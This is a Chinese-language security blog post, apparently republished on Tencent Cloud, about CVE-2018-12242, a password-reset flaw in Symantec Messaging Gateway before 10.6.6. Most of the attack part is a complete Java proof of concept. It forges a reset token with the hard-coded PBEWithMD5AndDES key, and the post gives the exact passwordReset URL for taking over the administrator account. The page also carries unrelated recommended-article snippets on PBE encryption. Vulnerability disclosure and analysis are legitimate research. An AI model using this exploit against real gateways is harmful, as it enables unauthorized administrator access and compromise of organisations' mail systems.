Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【技术分享】赛门铁克邮件网关重置密码漏洞

【技术分享】赛门铁克邮件网关重置密码漏洞

作者头像
安全乐观主义
发布于 2019-11-20 10:51:47
发布于 2019-11-20 10:51:47
95700
代码可运行
举报
文章被收录于专栏:安全乐观主义安全乐观主义
运行总次数:0
代码可运行

编号

CVE-2018-12242

漏洞简介

赛门铁克邮件网关10.6.6之前的所有版本,开启了重置密码功能(默认开启),可以伪造用户身份直接登录前后台。

漏洞详情

分析

赛门铁克也是纸老虎,此类邮件网关架构复杂,但是不要发憷,神挡杀神,佛挡杀佛,不少大公司的邮件网关,杀毒软件管理端产品也是普通开发人员编写,做杀毒做软件并不一定是安全的,一定也会有漏洞。这些大型软件漏洞挖掘和POC复现的一般思路从官方下载试用的centos软件包,提取rpm文件,反编译获取文件。

这里是修复之后的代码。可以很容易看出来,关键在于重制密码时的token加密的机制。

通过分析代码发现其使用了com.rsa.jsafe.provider.JsafeJCE,key值是固定的,算法为FIPS186PRNG,所以构造出来算法,输入项为用户名:密码的形式。以下是构造实现加密字符的poc。

poc
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.symantec.smg.controlcenter.internal.security;

import sun.misc.BASE64Encoder;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.*;

public class Test {
    public static void main(String[] args) {

        try {
            Provider jceProvider = new com.rsa.jsafe.provider.JsafeJCE();
// Add the JCE Provider class to the current list of providers available on the system.
            Security.insertProviderAt (jceProvider, 1);

            String encrypt = BrightmailEncrypt.encrypt("admin:gyqhLj1OzbJSQ!");
            System.out.println(encrypt);
            //System.out.println(BrightmailDecrypt.decrypt(encrypt));
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public static class BrightmailEncrypt {
        private static BrightmailEncrypt instance = null;


        private Cipher cipher;


        private BASE64Encoder encoder;


        private String saltString;


        private BrightmailEncrypt() throws Exception {
            byte[] salt = null;
            try {
                salt = new byte[8];
                SecureRandom random = SecureRandom.getInstance("FIPS186PRNG");
                random.nextBytes(salt);


                PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());


                SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");


                SecretKey key = keyFactory.generateSecret(keySpec);


                PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);


                this.cipher = Cipher.getInstance("PBEWithMD5AndDES");
                this.cipher.init(1, key, paramSpec);
            } catch (Exception e) {

                throw new Exception(e);
            }

            this.encoder = new BASE64Encoder();
            this.saltString = this.encoder.encode(salt);
        }


        public static BrightmailEncrypt getInstance() throws Exception {
            if (instance == null) {
                instance = new BrightmailEncrypt();
            }
            return instance;
        }


        public String fastEncrypt(String text) throws Exception {
            try {
                byte[] ciphertext = this.cipher.doFinal(text.getBytes());
                String ciphertextString = this.encoder.encode(ciphertext);
                return this.saltString + ciphertextString;
            } catch (Exception e) {

                throw new Exception(e);
            }
        }


        public static String encrypt(String plaintext) throws Exception {
            return (new BrightmailEncrypt()).fastEncrypt(plaintext);
        }


        public static boolean isEncrypted(String text) {
            boolean encrypted = true;


            try {
                BrightmailDecrypt.decrypt(text);
            } catch (Exception e) {

                encrypted = false;
            }
            return encrypted;
        }
    }
}

通过burpsuite,发送加密之后的用户名+密码(注意url编码)附加到brightmail/action2.do?method=passwordReset&authorization=,即可重置管理员的密码。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全乐观主义 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
java之jce「建议收藏」
Java Cryptography Extension(JCE)是一组包,它们提供用于加密、密钥生成和协商以及 Message Authentication Code(MAC)算法的框架和实现。它提供对对称、不对称、块和流密码的加密支持,它还支持安全流和密封的对象。它不对外出口,用它开发完成封装后将无法调用。
全栈程序员站长
2022/07/05
2.5K0
PBE_Password-based encryption(基于密码加密)_项目中你也可以有
中说道了PBE——Password-based encryption(基于密码加密)。我也做测试了一下,现在把我做的效果给大家演示一下:
Hongten
2018/09/13
7500
PBE_Password-based encryption(基于密码加密)_项目中你也可以有
聊聊PBE算法
PBE即Password Based Encryption,基于口令的加密,它是一种组合算法,即一般是哈希+对称算法,比如PBEWithMD5AndDES,就是用MD5做哈希,用DES做加解密,而其密钥则是口令+salt基于哈希函数计算而来
code4it
2023/08/31
4180
聊聊PBE算法
PBE即Password Based Encryption,基于口令的加密,它是一种组合算法,即一般是哈希+对称算法,比如PBEWithMD5AndDES,就是用MD5做哈希,用DES做加解密,而其密钥则是口令+salt基于哈希函数计算而来
code4it
2023/09/12
3940
聊聊PBE算法
Java加解密工具类
今天coding的时候需要大数据大佬对接接口,接口用的DES加密 ECB的PKCS5Padding填充方式。从 CSDN看到的都是收费的,我就搞不明白了一个工具类至于收费不,我就有点不开心了。为什么就不能有一个分享的精神,程序员何必为难程序员呢。 今天我给大家分享三个我自己常用的三个加密工具类吧 。AES、DES、MD5 AES加密解密工具类返回Base64 package cn.builder.util; import org.apache.commons.codec.binary.Base64;
猿码优创
2019/07/28
3.9K0
Java安全之安全加密算法
本篇文来谈谈关于常见的一些加密算法,其实在此之前,对算法的了解并不是太多。了解的层次只是基于加密算法的一些应用上。也来浅谈一下加密算法在安全领域中的作用。写本篇文也是基于算法的应用和实现,也是我的基本原则,能用就行。
全栈程序员站长
2021/04/07
1.4K0
Java安全之安全加密算法
使用PBE方式进行加密,解密
package com.demo.pbe; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKeyFactory; import javax.c
用户1215919
2018/02/09
2.7K0
Springboot 配置文件、隐私数据脱敏的最佳实践(原理+源码)
这几天公司在排查内部数据账号泄漏,原因是发现某些实习生小可爱居然连带着账号、密码将源码私传到GitHub上,导致核心数据外漏,孩子还是没挨过社会毒打,这种事的后果可大可小。
程序员小富
2021/08/03
9470
spring boot 加密_springboot 密码加密
一是其@Import的StringEncryptorConfiguration.class
全栈程序员站长
2022/11/09
2.8K0
spring boot 加密_springboot 密码加密
加密与安全_探索口令加密算法(PBE)
加密与安全_探索对称加密算法中我们提到AES加密密钥长度是固定的128/192/256位,而不是我们用WinZip/WinRAR那样,随便输入几位都可以。
小小工匠
2024/05/26
1350
Springboot 配置文件、隐私数据脱敏的最佳实践(原理+源码)
这几天公司在排查内部数据账号泄漏,原因是发现某些实习生小可爱居然连带着账号、密码将源码私传到GitHub上,导致核心数据外漏,孩子还是没挨过社会毒打,这种事的后果可大可小。
程序员小富
2021/08/06
7080
Springboot 配置文件、隐私数据脱敏的最佳实践(原理+源码)
Python的RSA加密和PBE加密
最近在写接口的时候,遇到了需要使用RSA加密和PBE加密的情况,对方公司提供的DEMO都是JAVA的,我需要用python来实现。 在网上搜了一下,python的RSA加密这块写的还是比较多的,但是PBE较少。所以我就讲讲我在RSA加密上面遇到的坑,大家权当一乐。PBE加密里面的盐、密钥。
py3study
2020/01/06
1.7K0
聊聊jasypt的IVGenerator
org/jasypt/salt/StringFixedIVGenerator.java
code4it
2023/09/03
1580
加密解密(3DES)DES的加强版
3DES(Triple Data Encryption Standard)是一种对称加密算法,它是DES算法的改进版本。下面是3DES算法的特点、算法原理和应用场景的详细介绍,并提供了使用Java代码实现3DES加密和解密的示例。
一百减一是零
2024/07/31
2610
【详解】Java实现与JS相同的Des加解密算法
在开发过程中,我们常常需要在不同的编程语言之间进行数据的加密和解密操作。本文将介绍如何在Java中实现与JavaScript相同的DES(Data Encryption Standard)加解密算法,确保在两个平台之间可以无缝地传递加密信息。
大盘鸡拌面
2025/04/07
1310
JAVA使用几种对称加密算法
今天到慕课网看了几集视频,对加密的操作过程还是不知道为什么有这么多步骤以及每个步骤是做什么;但是照着出来了,以后用到的时候翻得看看,直接拿上用了。
前Thoughtworks-杨焱
2021/12/08
6870
常见的加密算法
前端使用开源CryptoJS (crypto.js) 为 JavaScript加密算法,Github地址(https://github.com/brix/crypto-js)。目前已支持的算法包括:
分母为零
2019/07/04
1.8K0
[Java 安全]加密算法
Base64编码 算法简述 定义 Base64内容传送编码是一种以任意8位字节序列组合的描述形式,这种形式不易被人直接识别。 Base64是一种很常见的编码规范,其作用是将二进制序列转换为人类可读的A
静默虚空
2018/01/05
4K0
[Java 安全]加密算法
Security &quot;Crypto&quot; provider deprecated in Android N
我们知道加密[算法]都是需要密钥的,比如 AES 算法支持128 比特、192 比特和 256 比特三种长度的密钥,通常这些密钥会被转化成字节数组明文写在代码中或者写入成 KeyStore 文件。如果你是直接使用这些密钥的话是不会有任何问题的,但是有的时候我们需要通过一个字符串格式的密码来生成密钥。 我们需要可逆的加密方式的时间,在Android中一般会使用Crypto这个库里面的一些函数进行加密,但是,使用targetSdkVersion为25进行编译运行在Android7.0的手机上额时间,你会发现,首次安装加密的串一定是空的,错误如下所示。
Anymarvel
2018/10/22
5800
Security &quot;Crypto&quot; provider deprecated in Android N
用户名与密码前后加密、后台解密实现方案
随着https的推广,越来越多的网站转到https协议了。但是还是有不少网站没有切换到https,还是使用http。使用http协议的网站,如果没有自己做用户名、密码及敏感信息加密;网络就会明文传输这些数据,如果一些没有用心的人对服务发起攻击,就可能给公司造成损失。
BUG弄潮儿
2020/06/15
5.2K0
用户名与密码前后加密、后台解密实现方案
相关推荐
java之jce「建议收藏」
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验